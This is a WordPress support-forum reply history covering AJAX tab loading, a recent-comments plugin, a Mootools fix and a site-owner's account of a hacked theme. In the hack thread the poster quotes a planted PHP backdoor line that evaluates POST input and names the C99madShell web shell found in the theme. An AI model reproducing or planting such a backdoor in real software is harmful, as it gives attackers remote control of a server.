Forum Replies Created

Viewing 15 replies - 46 through 60 (of 114 total)
  • Thread Starter Mobster

    (@mobster)

    This would be tab3.php but for some reason it will not query the posts once it’s called through ajax.

    <script type="text/javascript">
    function instertContent($pagename){
    	$temp = $wp_query;
    	$wp_query = null;
    	$wp_query = new WP_Query();
    	$wp_query->query('pagename='.$pagename.'&static=true');
    	while ($wp_query->have_posts()) : $wp_query->the_post();
    		apply_filters('the_content', the_content());
    	endwhile;
    	$wp_query = null; $wp_query = $temp;
    	rewind_posts();
    }
    function instertExcerpt($pagename){
    	$temp = $wp_query;
    	$wp_query = null;
    	$wp_query = new WP_Query();
    	$wp_query->query('pagename='.$pagename.'&static=true');
    	while ($wp_query->have_posts()) : $wp_query->the_post();
    		apply_filters('the_excerpt', the_excerpt());
    	endwhile;
    	$wp_query = null; $wp_query = $temp;
    	rewind_posts();
    }
    </script>
    Thread Starter Mobster

    (@mobster)

    Here is the function. It’s uses jquery-1.2.3.pack.js

    <script type="text/javascript">
    			var pageUrl = new Array();
    			pageUrl[1] = "wp-content/themes/Million/tab1.php";
    			pageUrl[2] = "wp-content/themes/Million/tab2.php";
    			pageUrl[3] = "wp-content/themes/Million/tab3.php";
    			pageUrl[4] = "wp-content/themes/Million/tab4.php";
    			pageUrl[5] = "wp-content/themes/Million/tab5.php";	
    
    			function loadTab(id)
    			{
    				if (pageUrl[id].length > 0)
    				{
    					$("#preloader-ajax").show();
    					$.ajax(
    			        {
    			            url: pageUrl[id],
    			            cache: false,
    			            success: function(message)
    			            {
    			                $("#tabcontent").empty().append(message);
    			                $("#preloader-ajax").hide();
    			            }
    			        });
    				}
    			}
    
    			$(document).ready(function()
    			{
    				$("#preloader-ajax").hide();
    
    				$("#tab1").click(function()
    				{
    					loadTab(1);
    				});
    
    				$("#tab2").click(function()
    				{
    					loadTab(2);
    				});
    
    				$("#tab3").click(function()
    				{
    					loadTab(3);
    				});
    
    				$("#tab4").click(function()
    				{
    					loadTab(4);
    				});
    			});
    		</script>

    A while back I edited a version needing updated badly. I don’t remember were I got it but this plugin seems to work fine in 2.8

    The Plugin:

    <?php
    /*
    Plugin Name: Recent Comments with Gravatar:
    Version: 0.2
    Description: Recent Comments with Gravatar. Editied for WordPress  2.8.0
    Author: Unknown
    */
    
    function recent_comments($g_size = 30, $no_comments = 10, $comment_lenth = 60, $show_pass_post = false) {
            global $wpdb, $tablecomments, $tableposts;
    
            $request = "SELECT ID, comment_ID, comment_content, comment_author, comment_author_email FROM $tableposts, $tablecomments WHERE $tableposts.ID=$tablecomments.comment_post_ID AND post_status = 'publish' ";
    
            if(!$show_pass_post) { $request .= "AND post_password ='' "; }
    
            $request .= "AND comment_approved = '1' ORDER BY $tablecomments.comment_date DESC LIMIT $no_comments";
            $comments = $wpdb->get_results($request);
    
            foreach ($comments as $comment) {
    		$comment_id = $comment->comment_ID;
    		$comment_content = strip_tags($comment->comment_content);
    		$comment_excerpt = mb_substr($comment_content, 0, $comment_lenth)." [...]";
    		$permalink = get_permalink($comment->ID)."#comment-".$comment->comment_ID;
    		$comment_author_email = $comment->comment_author_email;
    
       echo '<div class="gravitar">';
       echo "<p class=\"li".$comment_id."\">";
    		if (function_exists('get_avatar')) {
    					  if ('' == $comment->comment_type) {
    						 echo get_avatar($comment->comment_author_email, 40);
    					  } elseif ( ('trackback' == $comment->comment_type) || ('pingback' == $comment->comment_type) ) {
    						 echo get_avatar($comment->comment_author_url, 40);
    					  }
    				   } elseif (function_exists('gravatar')) {
    					  echo "<img src=\"";
    					  if ('' == $comment->comment_type) {
    						 echo gravatar($comment->comment_author_email);
    					  } elseif ( ('trackback' == $comment->comment_type) || ('pingback' == $comment->comment_type) ) {
    						 echo gravatar($comment->comment_author_url);
    					  }
    					  echo "\" alt=\"\" class=\"avatar\" />";
    				   }
    
        echo "</p>\n";
        echo '</div>' ;
    
                echo '<div class="comments_exrpt">';
    			echo " <a href=\"" . $permalink . "\" title=\"View the entire comment\">";
    			echo $comment_excerpt;
    			echo "</a>";
    			echo '</div>' ;
    
    	            }
    
    }
    ?>

    Add this to your theme:

    <?php
      if(function_exists('recent_comments')) {
      	recent_comments(30, 10, 100, false);
      }
    ?>

    css:

    .comments_exrpt{margin-bottom:15px;width:260px;}
    .comments_exrpt a{color:#ffc;font-family:Verdana;font-size:65.5%;}

    Forum: Fixing WordPress
    In reply to: Mootools
    Thread Starter Mobster

    (@mobster)

    Ok,

    For those of you having issues with mootools plugins. I found this little plugin which isn’t all that complicated to use or hack.

    Plugin Name: Mootools Framework
    Plugin URI: http://nilswindisch.de

    I just added all my mootools plugins to be included as an action.

    add_action("wp_head","domready");
    
    function domready() {
    	echo "\n\n<script type='text/javascript' src='".get_bloginfo('wpurl')."/wp-content/plugins/mootools-framework/domready.js'></script>\n\n";
    }

    Now all my plugins work on all pages.

    Problem solved.

    Forum: Fixing WordPress
    In reply to: Mootools
    Thread Starter Mobster

    (@mobster)

    No ideas?

    Thread Starter Mobster

    (@mobster)

    I made an application that sort of does what I was looking for using custom queries and jquery slider script.

    http://www.davelefebre.com/ in the top right box.

    Sorry whooami,

    I wasn’t trying to add to your work load 🙂

    Happy Holidays!

    Wow! Those spam links look painfully familiar. 🙂

    Let whooami to look behind the scenes. And oh… don’t forget to donate a few bucks.

    Good luck!

    Forum: Themes and Templates
    In reply to: uhh ohh!
    Thread Starter Mobster

    (@mobster)

    I found this in 500.php

    <?php @eval($_POST[a])?>

    Forum: Themes and Templates
    In reply to: uhh ohh!
    Thread Starter Mobster

    (@mobster)

    Yup, everything looks good there?

    Forum: Themes and Templates
    In reply to: uhh ohh!
    Thread Starter Mobster

    (@mobster)

    Whoh! look at this!

    Yes, I’m still hacked, the hundreds of spam links flooded my footer again the other day! This is really pissing me off!

    98.28.75.45 - - [25/Nov/2008:20:40:51 -0700] "GET /favicon.ico HTTP/1.1" 200 1542 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"
    195.210.89.21 - - [25/Nov/2008:20:41:12 -0700] "HEAD /wp-content/themes/Million/images/uploads/2008/08/yamaha-damage-300x252.jpg HTTP/1.1" 200 355 "http://www.---------.com/" "libwww-perl/5.805"
    195.210.89.24 - - [25/Nov/2008:20:41:13 -0700] "HEAD /wp-content/themes/Million/images/uploads/2008/08/yamaha-damage.jpg HTTP/1.1" 200 355 "http://www.------------.com/" "libwww-perl/5.805"
    195.210.89.21 - - [25/Nov/2008:20:41:13 -0700] "HEAD /wp-content/themes/Million/images/uploads/2008/08/tabu-sf.jpg HTTP/1.1" 200 357 "http://www.--------.com/" "libwww-perl/5.805"
    195.210.89.24 - - [25/Nov/2008:20:41:20 -0700] "HEAD /wp-content/themes/Million/images/uploads/2008/08/tabu-sf-300x225.jpg HTTP/1.1" 200 355 "http://www.-------.com/" "libwww-perl/5.805"
    Forum: Themes and Templates
    In reply to: uhh ohh!
    Thread Starter Mobster

    (@mobster)

    Are people physically doing this or is this a bot? If that’s possible? It happened twice within 2 minutes. Two different attempts.

    Thanks Whooami!

    Whooami, ready to make a couple bucks? I have tried and tried to rid a site of this hack and I have NO idea were it is or how they are doing it. I really would like you to take a look? What would you charge?

    Thanks!

    Thread Starter Mobster

    (@mobster)

    It was in my theme. Believe it or not, if it were a falling brick, I’d be dead.

    It was named i_sidebar.php. I’m not sure that’s all there is to it. I still don’t understand how they can edit files on my server but this C99madShell v. 2.0 madnet edition is a pretty malicious looking script. (I know it was uploaded somehow) There’s even a feature that allows you to delete itself from any directory, among many other cracking tools.

    I’m wondering if the hack is still there and I just happened to find the tool (i_sidebar.php) they were using at the time?

    Thread Starter Mobster

    (@mobster)

    I know crazy! Hey, thanks for all the input Whooami. I like your style!

    Thread Starter Mobster

    (@mobster)

    Tue Feb 19 17:27:24 EST 2008

    C99madShell v. 2.0 madnet edition

Viewing 15 replies - 46 through 60 (of 114 total)